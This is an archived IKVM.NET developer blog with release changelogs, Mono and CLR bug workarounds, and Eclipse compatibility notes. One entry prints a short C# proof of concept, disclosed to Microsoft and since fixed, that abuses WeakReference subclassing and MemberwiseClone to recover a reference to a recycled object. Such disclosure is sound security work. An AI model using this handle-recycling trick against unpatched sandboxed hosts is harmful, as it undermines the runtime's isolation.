Valdemar Mejstad created a tool to automatically generate the xml to define properties based on Java's java.beans.BeanInfo. The source is available here: MapFileGenerator.java.

Files:

ikvm-0.14-rc1.zip  (source + binaries)
ikvmbin-0.14-rc1.zip   (binaries)

Changes:

  • Integrated GNU Classpath 0.15 release
  • Dropped support for Mono 1.0.x, because Mono 1.1.x is now the recommended (by the Mono team) version to use.
  • Made some optimizations to System.arraycopy().
  • Removed the previously deprecated ikvm.lang.ByteArrayHack class.
  • Merged fixes to gnu.java.nio.channels.FileChannelImpl from Classpath.
  • Added CLR "bitness" (32 or 64) to ikvm -version output.
  • Fixed ByteCodeHelper.DynamicCast() and ByteCodeHelper.DynamicInstance() to handle null references properly (always succeed/fail the cast/instanceof, without trying to load the type).
  • Changed os.arch for "AMD64" to "amd64" to match JDK.
  • Added sun.arch.data.model system property.
  • Fixed VMThread.suspend()/resume() to not throw exceptions if invalid calls are done.
  • Fixed VMThread.stop() to better handle suspended threads.
  • Fixed a bug in invocation of JNI_OnLoad (if the method exited with a pending exception, the exception wasn't dispatched).
  • Added GC.KeepAlive() to FileChannelImpl.flush() to make sure the file channel isn't GCed (and thus closed) while the native method is running.
  • Fixed verifier to correctly identify stack overflows when double/long values are involved.
  • Fixed verifier to reject empty try blocks.
  • Fixed bug in VMTimeZone.inDaylightTime() [Fix by Alexander Zuev].
  • Fixed a whole bunch of bugs in java.lang.reflect.Field [Reported by Alexander Zuev].
  • Created two subclasses of CompiledTypeWrapper to handle the special cases for remapped and ghost type to make the normal types more efficient.
  • Added a micro optimization to FieldWrapper to avoid having to call FieldInfo.IsLiteral on each reflective field access, because FieldInfo.IsLiteral turns out to be quite expensive on the Microsoft CLR.
  • Removed -monoBugWorkaround switch from IKVM.GNU.Classpath.dll build script, since Mono 1.1.4 and later no longer require it.
  • Fixed bug in protected member access check (it was too strict, requiring the referenced class to be visible).
  • Improved error message when core library doesn't match runtime version.
  • Implemented memory mapped I/O.
  • Added support for defining properties through map.xml file.
  • Added check to ikvmc to prevent signing assemblies that reference unsigned assemblies.
  • Added support for adding custom attributes to assembly, classes, fields, methods and constructors in the map.xml file.
  • Removed -enabletls option from ikvmc (fields can now be marked as thread local by adding a custom attribute).
  • Added AssemblyCopyrightAttribute to IKVM.GNU.Classpath.dll.
  • Fixed a bug in .NET type reflection handling of explicit method implementations.
  • Fixed bug in JNI return value marshaling for methods with boolean return type.
  • Fixed NullReferenceException bug when compiling class with native finalize method.
  • Fixed JNI to continue to work during "finalization for exit".
  • Implemented System.runFinalizersOnExit(boolean). By default, Java finalizers no longer run at application exit.
5/2/2005 2:39:33 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, April 18, 2005

Whidbey Beta 2

I downloaded Whidbey Beta 2 from MSDN (subscription required) and installed it on my AMD64 machine (recently repaved with WinXP x64 RTM). Installation went very smooth and IKVM builds and runs its test suite (without requiring the workaround that the Februari CTP needed).

My Very Own Breaking Change

A long time ago I wrote about problems with the C# destructor and used System.WeakReference as example. Recently I discovered a related, but more serious problem with System.WeakReference and reported it to Microsoft.

Here is some evil code:

using System;
class Class1 : WeakReference
{
    Class1(object obj)
      : base(obj)
    {
    }
    
    static void Main(string[] args)
    {
        Class1 r = new Class1("foo");
        Console.WriteLine(r.Target);
        Class1 clone = (Class1)r.MemberwiseClone();
        GC.Collect();
        GC.WaitForPendingFinalizers();
        new Class1("bar");
        Console.WriteLine(clone.Target);
    }
}

The last statement prints out bar. Notice that we aren't supposed to have a reference to bar. This is a variation of a handle recycle attack.

In Beta 2 this problem was "fixed" by adding an unmanaged code inheritance demand to System.WeakReference, so untrusted code will not be able to subclass WeakReference (which is needed to get access to MemberwiseClone). This is a (minor) breaking change, but obviously the right thing to do.

4/18/2005 9:04:12 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, March 21, 2005

Saxon.NET RC1

The Saxon.NET developers have announced RC1 of Saxon.NET. I like this project, because it is a good example of the kind of project I envisioned when I started IKVM.NET. They take an existing Java library and convert it to a .NET assembly using ikvmc and they add important value by packaging and testing the converted assembly and by providing examples and utilities.

64-bit

In unrelated news, I've been able to successfully run my internal test suite on x64 (An AMD64 system running Windows XP Professional x64 Edition RC1 running the Whidbey February CTP). I had to work around one Whidbey February CTP specific bug and had to make a change to VMThread.stop() relating to a Whidbey change in Thread.Abort(). It's too bad there isn't an x64 Windows version of Eclipse yet, because that would make a good real world test.

3/21/2005 4:47:35 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, March 02, 2005

How Not To Fix Bugs

At the moment ikvm/runtime/JniInterface.cs contains the following workaround:

#if __MonoCS__ 
  // MONOBUG mcs requires this bogus fixed construct (and Microsoft doesn't allow it)
  fixed(void** p = &pJavaVM->firstVtableEntry) { pJavaVM->vtable = p; }
#else
  pJavaVM->vtable = &pJavaVM->firstVtableEntry;
#endif

Up until Mono 1.1.4 this workaround is required, but current Mono svn has a fixed mcs that doesn't require (nor allow) the workaround.

This means that current IKVM cvs isn't compilable with current Mono svn and that's dumb. The proper way to fix mcs would have been to temporarily (at least until after the next Mono release) allow the incorrect usage of fixed and issue a warning that such usage is illegal and will stop working in a future release.

3/2/2005 11:05:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

IKVM 0.12 Released

I put the 0.12 release up on SourceForge. Basically the same as yesterday's snapshot, only now the version is 0.12.0.0 and the binaries are signed.

3/2/2005 10:51:21 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, March 01, 2005

New Snapshot

I made a new snapshot that will become the 0.12 release if no showstoppers are found. Based on the Eclipse inlining mess I decided to measure how much of a performance hit it is to disable inlining for all non-leaf methods and I found it to be very small for the benchmarks I tried. This combined with the fact that inlining would need to be disabled (for many methods) in the future to support the Java security model, I decided to go ahead and do that already. This is the first IKVM version that actually supports running Eclipse 3.0 and using it to develop Java code (even if it is horribly slow to get warmed up).

I've also disabled dynamic binding in ikvmc compilation, because it doesn't really work. The problem is that package access doesn't work across assemblies, so any package accessible types/members in statically compiled code cannot be accessed by dynamically loaded classes. I may re-enable this functionality at some point in the future, by combining it with an option to make all package accessible types/members public.

For dynamically compiled code, dynamic binding continues to work (to support scenarios were the more eager loading of classes by IKVM would otherwise cause problems).

Changes:

  • Integrated GNU Classpath 0.14 release.
  • Added ToString to ClassLoaderWrapper, to enable efficient tracing.
  • Added support for HideFromJava attribute to map.xml parser.
  • Added JNI trace switch.
  • Added extensive tracing to JNI code.
  • Added JVM.EnableReflectionOnMethodsWithUnloadableTypeParameters HACK to allow ikvm.exe to do reflection on main class that has unloadable types in method parameters.
  • Added JVM.DisableDynamicBinding to disable dynamic binding when compiling with ikvmc.
  • Cleaned up ikvmc warning/error messages.
  • Added TypeWrapper.EnsureLoadable() to consistently handle unloadable types.
  • Added generation of warning messages (in ikvmc scenario) to UnloadableTypeWrapper.
  • Changed JNI method ptr field name to get more consistent JNI trace messages.
  • Fixed JNI bug that caused JNI_GetCreatedJavaVMs not to work if the JVM wasn't started with JNI_CreateJavaVM.
  • Added exception mapping methods __<map>() to java.lang.Throwable (not visible from Java and most other CLR languages, but used internally by IKVM).
  • java.lang.ExceptionHelper is no longer public.
  • Disabled method inlining for non-leaf methods.
3/1/2005 10:09:25 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, February 22, 2005

Stack Traces

Corey comments on the previous entry:

While I agree that the Eclipse code is performing some nasty checks there I don't think I agree with the implication that the stacktrace created by the VM should change based on whether the method was inlined or not. I'm not sure what is mandated by the JVM spec but the stacktrace isn't going to be very useful for a developer debugging his program if the stacktrace changes depending on whether something got inlined or optimized away by the VM...

Here's what the Javadocs for Throwable.getStackTrace() say:

Some virtual machines may, under some circumstances, omit one or more stack frames from the stack trace. In the extreme case, a virtual machine that has no stack trace information concerning this throwable is permitted to return a zero-length array from this method.

On JDK 1.1 it was quite common to miss stack frames in a stack trace, but HotSpot is actually very good at creating a full stack trace even when it inlines methods. The CLR could certainly do better in this regard.

Bottom line is that the Eclipse code is very JVM specific and as far as I can tell it doesn't even serve any useful purpose.

2/22/2005 9:20:05 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Eclipse is Evil

While it's been possible to start up Eclipse with IKVM for a long time, editing a Java source didn't really work. Today I decided to look into the problem. It turned out to be caused by an IllegalStateException thrown from the following method in MarkerAnnotationPreferences.java:

/**
 * Checks correct access.
 * 
 * @throws IllegalStateException if not called by {@link EditorsUI}
 * @since 3.0
 */
private static void checkAccess() throws IllegalStateException {
  StackTraceElement[] elements=  new Throwable().getStackTrace();
  if (!(elements[2].getClassName().equals(EditorsUI.class.getName())
      || elements[3].getClassName().equals(EditorsUI.class.getName())))
      throw new IllegalStateException();
}

It looks at the stack trace that the Throwable produces to ascertain if it was called by the correct method. This is obvious not very robust (as is born out by the fact that it checks two different slots in the array).

The calling method in EditorsUI.java is:

public static void useAnnotationsPreferencePage(IPreferenceStore store) {
  MarkerAnnotationPreferences.useAnnotationsPreferencePage(store);
}

A perfect candidate for inlining! Which the CLR does, of course. So the EditorsUI class didn't appear in the stack trace at all, causing checkAccess() to fail.

For the time being I added a workaround to IKVM to disable inlining for all methods in classes named org.eclipse.ui.editors.text.EditorsUI, but that's obviously a disgusting hack.

2/22/2005 1:49:56 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Friday, February 18, 2005

Snapshot

Mostly bug fixing and a couple of work arounds for bugs in the CLR and Mono.

Changes:

  • Sync'ed with GNU Classpath cvs.
  • Fixed bug in ClassLoaderWrapper that caused exception when defining the ModuleBuilder if the first class loader to define a class had a toString() representation that contained characters that are illegal in an assembly name.
  • Changed System.identityHashCode implementation to use non-virtual call to Object.GetHashCode instead of RuntimeHelpers.GetHashCode, to work around .NET runtime bug.
  • Fixed reflection to support modifying final instance fields (as per JSR-133).
  • Added optional verbose cast failure messages (set the IKVM_VERBOSE_CAST environment variable to enable this).
  • Fixed unloadable type support in native method signatures.
  • Changed handling of delegate types that have unsupported types in method signature (inner interface is no longer generated). This fixes bug 1119575.
  • Added -enabletls option to ikvmc to automagically add ThreadStaticAttribute to fields starting with __tls_
  • Changed IKVM specific Classpath methods to use __tls_ fields instead of LocalDataStoreSlot. This improves performance, but also works around a bug in the CLR relating to AppDomain shutdown and a GC bug in Mono on Windows.
  • Added workaround for Mono bug in GCHandle.IsAllocated.
  • Fixed implicit interface downcasting (which is sometimes required due to a quirk in the JVM spec) to throw IncompatibleClassChange instead of ClassCastException.
  • Fixed bug in argument globbing code that caused command line of statically converted executables to start with the name of the executable (in args[0]) on unix.
  • Fixed bug that caused Thread.join() on main thread to hang.
  • Fixed JNI name mangling to support encoding Unicode and special characters correctly.
  • Fixed JavaException to not call String.Format on non-format strings.
  • Optimized VMThread.jniDetach to not do anything if a Java thread object was never created.

New snapshots: just the binaries and source plus binaries.

2/18/2005 1:18:32 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, February 08, 2005

Weird Bug

Jamie Cansdale reported a strange problem on the mailing list. His code ran successfully when run for the first time, but subsequent runs in the same process, but a different AppDomain failed with a ClassCastException.

He was kind enough to work with me to try and isolate the problem. So several hours and various private IKVM builds later, I was able to reproduce the root problem:

using System;
using System.Runtime.CompilerServices;
class Class1
{
  static void Main(string[] args)
  {
    RuntimeHelpers.GetHashCode(new Class1());
    if(AppDomain.CurrentDomain.FriendlyName != "2nd")
    {
      AppDomain dom = AppDomain.CreateDomain("2nd");
      dom.ExecuteAssembly(typeof(Class1).Assembly.Location);
    }
  }
}

This code dies with a System.MissingMethodException! Yet another weird multi-AppDomain bug.

Fortunately, the work around is easy. Instead of using RuntimeHelpers.GetHashCode() to implement System.identityHashCode(), I've gone back to using some handcoded IL in map.xml to call System.Object.GetHashCode() non-virtually. This was also what I did on v1.0 of the CLR (where RuntimeHelpers.GetHashCode() didn't yet exist).

2/8/2005 2:52:47 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, February 02, 2005

New Snapshot

Lot's of changes, but the major one is that Java's primitive type byte is now mapped to System.Byte instead of System.SByte. This makes interoperability between Java and other .NET code much easier (since System.Byte is in the CLS), although you have to be a little careful because Java's byte is signed and System.Byte is unsigned.

Changes:

  • Changed assembly versions to 0.11.*
  • Sync'ed with GNU Classpath cvs.
  • Added hack to support new Classpath awt event model.
  • Changed mapping of Java primitive byte from System.SByte to System.Byte, to remove the need for ByteArrayHack and better/easier interop with CLS code.
  • Regenerated mscorlib.jar, System.jar and System.Xml.jar with new ikvmstub (to deal with the new byte <-> System.Byte mapping).
  • Added optional support for compiling GNU Classpath with ecj to the build script. NOTE: The ecj -1.5 option is used to generate 1.5 compatible class files, so you must set the IKVM_EXPERIMENTAL_JDK_5_0 environment variable prior to starting the build process. When ecj is used to compile GNU Classpath with the -1.4 option, the build will fail because the resulting assembly is not verifiable. This is because ikvmc doesn't currently handle the way ecj compiles Java 1.4 class literals when used in the invocation of a base class constructor (this obviously isn't a common scenario, but it will be supported in a future version).
  • Added partial support for the new Java 5 StringBuilder class.
  • Changed the ikvm.lang.CIL boxing/unboxing methods dealing with bytes to account for the changed mapping.
  • Deprecated ikvm.lang.ByteArrayHack (it now contains only a single cast method that "casts" from byte[] to byte[], it will be removed in a future version).
  • Added ugly workaround for return type covariance in the IResourceReader interface.
  • Cleaned up setting the thread group when attaching a native thread.
  • Fixed JNI direct buffer APIs to support all types of java.nio.Buffer, not just ByteBuffer.
  • Implemented VMClassLoader.getPackages() to support enumerating packages defined by the bootstrap class loader. This is currently disabled on Mono due to a bug in Assembly.GetTypes() on Mono 1.0.5 and 1.1.3.
  • Implemented new stack walking mechanism that fully supports skipping over reflection and native stack frames.
  • Changed reflection to use new stack walking mechanism.
  • Changed native library loading to use new stack walking mechanism.
  • Fixed ikvmstub to return error value if it fails.
  • Added optional support to the build script to build a AMD64 version of JVM.DLL.
  • Fixed DynamicInvokeVirtual to actually do a virtual method invocation, instead of a non-virtual invocation.
  • Collapsed TypeWrapper.TypeAsParameterType and TypeWrapper.TypeAsFieldType into a single new property TypeWrapper.TypeAsSignatureType.
  • Fixed JNI_CreateJavaVM to support all valid JNI versions.
  • Fixed JNI DestroyJavaVM to return success when "destroying" the VM (even though -- like Sun -- we don't support actually destroying the VM).
  • Fixed JNI DetachCurrentThread to return success when detaching an already detached thread.
  • Fixed JNI FindClass to reject class names with dots and added support for signature format class names (e.g. [Ljava/lang/Object;), it also throws NoClassDefFoundError now instead of ClassNotFoundException.
  • Made some minor tweaks to JNI local ref allocation algorithms.
  • Changed reflective non-virtual method invocation to do a virtual invocation when invoking interfaces methods (for compatibility with Sun) and to use the regular reflection code path when invoking non-virtual methods or virtual methods that are guaranteed not to be overridden.
  • FieldWrapper.EmitGet/EmitSet and MethodWrapper.EmitCall[virt] no longer convert the field/return value from SignatureType to StackType, this is now left to the caller.
  • Fixed regression that could cause TypeWrapper constructor to try to construct a Class object for unloadable types (and this could result in an exception when an unloadable array type was constructed).
  • Renamed method TypeWrapper.EmitConvParameterToStackType to TypeWrapper.EmitConvSignatureTypeToStackType
  • Renamed method TypeWrapper.EmitConvStackToParameterType to TypeWrapper.EmitConvStackTypeToSignatureType.
  • Fixed native method invocation stubs to handle ghost types correctly.
  • Fixed reflection on .NET types to report Sealed and Abstract types as abstract only (the final abstract combination isn't legal in Java).
  • Improved handling of clashing method names for private interface methods.
  • Improved generation of base type method "hiders" for remapped types to support additional method overloads on Whidbey.

New snapshots: just the binaries and source plus binaries.

2/2/2005 4:40:19 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Thursday, January 13, 2005

0.10 Released

I put the 0.10 release version on SourceForge, it's identical to rc2 and be downloaded here.

1/13/2005 12:50:24 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 10, 2005

0.10 Release Candidate 2

I decided to make a new release candidate to fix a couple of bugs to make ecj work better.

It's available here: binaries and source plus binaries.

Note that IKVM still has a bug that causes a particular code construct that ecj generate to be compiled into unverifiable (but working) code. The code construct is using a class literal in the invocation of a base class constructor, ecj compiles this with inline code (javac and jikes put the generated code in a new method) and code has an exception handler around the Class.forName(), but the CLI doesn't allow exception handlers before the base class constructor is called.

Changes:

  • Added ikvm/lang/ByteArrayHack.java, ../../classpath-0.13/vm/reference/java/lang/VMCompiler.java and ../../classpath-0.13/gnu/java/awt/peer/GLightweightPeer.java to classpath/allsources.lst. Jikes automatically added these files, but when compiling with ecj the list needs to be complete (which is actually much nicer, since it doesn't require the classpath to be set in addition to the list of source files).
  • Added support for IKVM_EXPERIMENTAL_JDK_5_0 environment variable to enable Java 5 class file format support (note that since none of the JDK 5.0 APIs are available this isn't very useful, except for experimentation).
  • Fixed several bugs in Double.parseDouble/Float.parseFloat.
1/10/2005 3:27:36 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Friday, January 07, 2005

0.10 Release Candidate 1

I finally decided to make a long overdue new release (releases are what you download from the IKVM SourceForge project download and are better tested and include signed binaries). When I release a new development snapshot, I usually test it by running Mauve and my ikvm specific tests and by starting up Eclipse. I build my code on Windows using the Microsoft .NET Framework 1.1 and I don't generally test them on Mono on Linux. Releases are tested on Mono (although fairly superficially, since many of my tests don't run on Mono yet) and more importantly, for a release I also make sure that you can build IKVM on Mono on Linux. In a stroke of irony, while I was testing this release candidate, I discovered that my workaround for the Mono metadata bug that I introduced yesterday actually causes Mono to crash when building IKVM.GNU.Classpath.dll (the workaround itself works, you can run a Windows built IKVM.GNU.Classpath.dll that includes the workaround on Mono), so I added a workaround for that as well.

Basic info:

  • This releases is based on the GNU Classpath 0.13 release. Get it here.
  • It was tested on .NET Framework 1.1 on Windows, Mono 1.0.5 on Debian 3.0 and Mono 1.1.2 on Debian 3.0
    (I couldn't get Mono 1.1.3 to build, so I only tested with 1.1.2)
  • Downloads: binaries and source plus binaries.
  • Japi results: JDK 1.4 vs IKVM 0.10.0.0 and IKVM 0.10.0.0 vs JDK 1.4.
  • This is still a release candidate, but if no major problems are found it will be released as is.

Building from source:

  • Download and unzip the IKVM source zip file.
  • Download GNU Classpath 0.13 and extract it in a directory next to the ikvm directory. You don't need to run any of the makefiles or build scripts.
  • Make sure you have NAnt-0.84 and Jikes 1.22 installed.
  • Make sure you have the Microsoft .NET Framework 1.1, Mono 1.0.5 or Mono 1.1.2 installed.
  • cd ikvm
  • nant
  • That's it!

Changes:

  • Added workaround for Mono Reflection.Emit bug that causes NullReferenceException when emitting empty properties.
  • Added ikvmc -key:<keycontainer> option.
  • Added "signed" target to main build file, to automatically sign all assemblies.
  • Changed all version numbers to 0.10.0.0.
  • Signed all assemblies.
  • Tagged the cvs tree with v0_10_0_0.
1/7/2005 1:47:31 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Thursday, January 06, 2005

ecj

Stuart Ballard posted instructions on his blog on how to build ecj (the Eclipse Compiler for Java) and compile it into an executable with ikvmc.

This is really cool, because ecj is an open source pure-Java compiler that supports all of the Java 5.0 features.

1/6/2005 9:24:58 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

New Snapshot

I added a workaround for the Mono metadata bug and made a couple of other changes, most notably the -opt:fields ikvmc option to remove unused private static fields (except for serialVersionUID), this makes the generated IKVM.GNU.Classpath.dll about 1MB smaller, because of the large number of string constant fields in the locale table classes. I haven't investigated this fully, but it appears that string literals in the code are in a different heap than the string field literals and thus they end up in the file twice. If this is indeed true than it is a rather unfortunate design flaw in the CLI metadata spec (especially since you're not allowed to use the CIL ldsfld instruction on a literal field).

Changes:

  • Sync'ed with GNU Classpath cvs.
  • Added empty NetToolkit.createRobot method (to make it compile with recent Classpath change).
  • Only do the MethodBuilder private field scrubbing hack if we're on .NET 1.1
  • Added -opt:fields ikvmc option to remove unused private static fields.
  • Added -monoBugWorkaround option to ikvmc (and added it to the IKVM.GNU.Classpath.dll build file) to workaround Mono 1.0.5 and 1.1.3 metadata bug. Only use this option if your compiled exe/dll fails to load on Mono (this happens if it has more than 32768 methods), it causes the generated file to grow by about 300KB.
  • Added workaround for NullReferenceException in Thread.SetData() on Mono.

New snapshots: just the binaries and source plus binaries.

1/6/2005 11:46:32 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, January 05, 2005

Mono Problems

Just a quick entry to point out problems with the most recent development snapshot on Mono. Mono gives a bunch of assertion failures:

** (ikvm.exe): CRITICAL **: file metadata.c: line 804 (mono_metadata_string_heap): assertion `index < meta->heap_strings.size' failed

** (ikvm.exe): CRITICAL **: file metadata.c: line 832 (mono_metadata_blob_heap): assertion `index < meta->heap_blob.size' failed

Not sure what's going on yet, but in the mean time, if you want to run on Mono, you can use the previous snapshot: binaries and source + binaries.

[Update: As usual, Zoltan Varga was on the case and quickly fixed the problem in the Mono 1.0 and 1.1 source trees. He also told me how to workaround it, so the new snapshot has a workaround.]

1/5/2005 5:37:48 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, January 04, 2005

Using IKVM as a JRE with Eclipse

A while ago Howard Gilbert wrote instructions on how to use IKVM as the target runtime with Eclipse (i.e. not running Eclipse in IKVM, but running the code you develop with Eclipse in IKVM).

My apologies to him for not posting this earlier (and for not adding it to www.ikvm.net, where it really belongs).

I could not find instructions in the documentation about using vanilla
Eclipse (under Java) to develop code that you then run (in Eclipse) under
IKVM. The trick is to define IKVM to Eclipse as an additional Java Runtime
Environment. It seems that this might be useful to post somewhere:

[This uses Windows and an installed Microsoft .NET Framework, but it can
probably be adapted.]

Eclipse runs under the default version of Java installed on your machine
(type "java -version" to find out). However, it can be configured with the
directories of other Java Runtime Environments (JRE's). In the Run . panel,
you can select a particular JRE in which to run each application.

Eclipse believes that a directory is a JRE if it has two things. 
1. It must have a {jre}/bin/java.exe file. 
2. It must have a {jre}/lib/rt.jar file.

Start with a binary distribution of IKVM in c:\ikvm. Copy
c:\ikvm\bin\ikvm.exe c:\ikvm\bin\java.exe. Create a c:\ikvm\lib and copy
into it the rt.jar from your favorite real Java runtime. Don't worry
because, of course, it will not really be used.
[Jeroen: You can also run ikvmstub on IKVM.GNU.Classpath.dll and rename the
resulting IKVM.GNU.Classpath.jar to rt.jar]

In Eclipse, pull down the Window menu option and select Preferences - Java -
Installed JRE's. Click the Add... button. Leave the type as "Standard VM". A
suggested "JRE name" is "IKVM". Point the "JRE home directory" to c:\ikvm.

The JRE system libraries box fills up with the libraries found in the
{jre}/lib directory. For the moment, the only such library is rt.jar.

Now build a simple Java program. When you want to run it, select Run - Run
... In the JRE tab, click the "Alternate JRE" option and select IKVM from
the pulldown. If you want to be clear, in the "Java executable" select
Alternate and type in "ikvm" (that is the ikvm.exe program). 

Now run the program. It ran under IKVM, but it is indistinguishable from
Java.

Now run ikvmstub on your favorite version of mscorlib.dll and put the
resulting jar file in c:\ikvm\lib\mscorlib.jar. After that, you should be
able to ikvmc your favorite JAR files, then put the jar file into /lib and
the generated dll into /bin. This is just a suggested use of the library
structure.

Sanity check: The Eclipse Package Explorer displays the JAR files as Eclipse
sees them during compilation. Even if you intend to run the program under
IKVM, Eclipse is going to compile them with your default real Java and its
libraries. So when you add JAR files to c:\ikvm\lib this doesn't put them in
the compiler path. You have to manually add the extra JAR files to your
project, and then the compiler knows to use them as the source is compiled.
At runtime the DLLs will either be automatically located because they are in
the same directory with ikvm.exe. 

So use Project - Properties - Java Build Path - Libraries - Add External
Jars to add mscorlib.jar to your project, and write a small Java program
using some CLI classes. Note that all the usual Eclipse IDE features work.
Type "cli.System.Console." and pause. Eclipse likes (default behavior of a
configurable feature) to convert explicit class names to imports, so it will
add a

import cli.System.Console

to the import group, replace what you have just typed with "Console." and
then display a popup with the list of methods of the System.Console class to
complete the expression.

When it doubt, in the Explorer panel on the left expand any of the jar files
(such as mscorlib.jar) to see the actual fully qualified names of the
classes generated by ikvmc.

Save the file and it gets compiled.

Run it (assuming again you set Run ... to use the IKVM "JRE") and you get
the expected output. Now there is no question that you are running IKVM
because you are calling CLI libraries.
1/4/2005 9:09:48 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, January 03, 2005

Design Flaws

Happy New Year!

The common theme in today's snapshot is clearly design flaws. I have two of my own to discuss and two others. Note that this reflects only an small portion of all design flaws in my (and other) code, but these are the ones that are at least mildly interesting to read about (I hope).

Thread.interrupt()

When I originally designed the Thread.interrupt() support, it seemed like an obvious thing to map this onto the .NET support for interrupting threads. In retrospect I can see that this was a mistake (when something seems obvious it's tempting not to think about it anymore), but at the time it appeared to work fairly well. Only after a while I discovered that the monitorenter bytecode instruction (implemented by calling System.Threading.Monitor.Enter()) wasn't supposed to be interruptable in Java. I "solved" this by redirecting monitorenter to ByteCodeHelper.monitorenter() that repeatedly calls Monitor.Enter() (and catches any ThreadInterruptedExceptions) until it is successful. When I fixed this, I should have noticed a more fundamental problem with the Thread.interrupt() mapping approach, but I only realised the problem when I was working on the class loading deadlock bug a couple of weeks ago. Since java.lang.InterruptedException is a checked exception and can only occur in a couple of well defined places in the Java library, it simply wasn't a good fit to map it onto System.Threading.ThreadInterruptedException, which can occur any time a synchronized code block is entered (and this basically includes any .NET method).

Once I realised the problem, the fix was fairly easy. Java threads now maintain their own interrupt pending flag and whenever a Java thread enters one of the interruptable waits (Object.wait() or Thread.join()) it checks the flag and marks the thread as inside an interruptable wait. When another thread interrupts the waiting thread, it uses the .NET Thread.Interrupt() to interrupt the wait and the interrupted wait notices that the interrupt pending flag is set and catches the .NET System.Threading.ThreadInterruptedException and throws a java.lang.InterruptedException.

System.Reflection.Emit.MethodBuilder

I did some heap analysis on a started Eclipse process and discovered that a ridiculous amount of memory was being held by the various MethodBuilder instances that are kept alive by the IKVM type information data structures. This wasn't a matter of a couple of wasted bytes, but somewhere around 20MB of useless objects that were still being referenced. I attempted several different workarounds, but the simplest and safest one turned out to be using reflection to clear all of the unused private fields in MethodBuilder after a dynamic type is baked. This is obviously a nasty hack, but the resulting memory reduction is so significant that I felt it was worth it. I filed a bug with Microsoft, so hopefully it'll get fixed for Whidbey. Another reflection design flaw is that System.Reflection.Emit.OpCode is a value type that contains a whole bunch of instance fields, instead of a lightweight enum. This means that whenever you use an OpCode (which is often when you're generating code with ILGenerator) you are carrying around about 40 bytes, instead of an int sized value.

Hashtables

After getting rid of (most of) the MethodBuilder overhead, I turned my attention to my own code and noticed that a lot of memory was being used up by the hashtables that the TypeWrapper instances used for the fields and methods. Using hashtables for this turned out to be a design flaw, because most classes don't have that many types or fields that the memory overhead of a hashtable of worthwhile (I'm doing a simple linear search through an array now, and it doesn't affect performance at all). Besides this change I also made a whole bunch of other changes to reduce memory consumption, the result is that starting up Eclipse now takes less than half the heap space than it did in the previous snapshot.

C# and the CLS

The C# team uses the CLS as a (lame) excuse not to have to support accessing static fields in interfaces, so you cannot access Java interface fields in C#. To work around this, I've added code to create an inner class named __Fields to every interface that has static fields and that inner class contains duplicates of the interface fields, so that they can be accessed from C#.

Changes:

  • Sync'ed with GNU Classpath cvs (IKVM.GNU.Classpath now contains GNU JAXP XML processing library). You can now run Eclipse without having to add the xml stuff to the bootclasspath: eclipse -vm c:\ikvm\bin\ikvm.exe
  • Moved ObjectHelper.wait() to VMThread.objectWait().
  • Moved ObjectHelper.toStringSpecial() to map.xml.
  • Removed java/lang/ObjectHelper.java
  • Removed remapping of System.Threading.ThreadInterruptedException to java.lang.InterruptedException.
  • Added code to set "user.language" and "user.region" system properties based on .NET culture.
  • Fixed two shutdown hooks bugs that could cause the shutdown hooks not to run or run very slowly.
  • Fixed Process.waitFor() to be interruptable.
  • Fixed bug in VMThread.join() that could cause it not to return when a native thread detaches the thread.
  • Totally rewrote Thread.interrupt() handling and detached Java thread interruption from .NET thread interruption.
  • Removed the MethodDescriptor class.
  • Removed ByteCodeHelper.monitorenter().
  • Changed class file parser to intern all class, field, method names and signatures.
  • Added check for class names that are too long for .NET to handle.
  • Changed class loading locking so that no locks (outside of the lock on the ClassLoader) are held when Java code is called, to prevent potential deadlocks.
  • Changed SimpleCallMethodWrapper and SmartCallMethodWrapper not to have two OpCode fields but use smaller enum type instead.
  • Changed field resolving/linking to use the same strategy as methods.
  • Unified NonPrimitiveValueTypeFieldWrapper, GhostFieldWrapper and SimpleFieldWrapper.
  • Changed compilation of synchronized instance methods to use MethodImplAttribute(MethodImplOptions.Synchronized).
  • Changed TypeWrapper to use simple arrays to store fields and methods, instead of hashtables.
  • Integrated lazy member publishing into TypeWrapper and removed LazyTypeWrapper.
  • Added BakedTypeCleanupHack to workaround bug/design flaw in Reflection.Emit that causes too much memory to be retained (the workaround is to use reflection to clear some private fields of MethodBuilder, ConstructorBuilder and FieldBuilder).
  • Added workaround to make interface fields usable from C# (by duplicating them in an inner class named __Fields in the interface).
  • Changed bytecode compiler to use CIL switch opcode for tableswitch bytecode (this is a bit more space efficient).
  • Added conv_i1, conv_i2, conv_i4 and conv_i8 instruction support to remapper.

New snapshots: just the binaries and source plus binaries.

1/3/2005 6:11:32 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, December 22, 2004

New Snapshot

More fixes and stabilization work. More to come...

Changes:

  • Merged with GNU Classpath cvs.
  • Fixed a relatively obscure bytecode compiler bug (that caused a "critical failure" because of an undefined label).
  • Fixed error handling for sockets to deal with closed sockets.
  • Implemented support for parsing relative ikvmres URLs and improved error handling.
  • Fixed ikvmres protocol handler to set port to -1 instead of 0 to enable better URL/URI roundtripping.
  • Fixed defineClass to throw NoClassDefFoundError instead of ClassNotFoundException (in some cases).
  • Fixed reflection to use a classes real accessibility instead of the access flags from the inner classes attribute.
  • Fixed ikvmc to always return errorcode when compilation fails.
  • Improved exception printing in ikvmstub.
  • Many fixes to class file format checking.
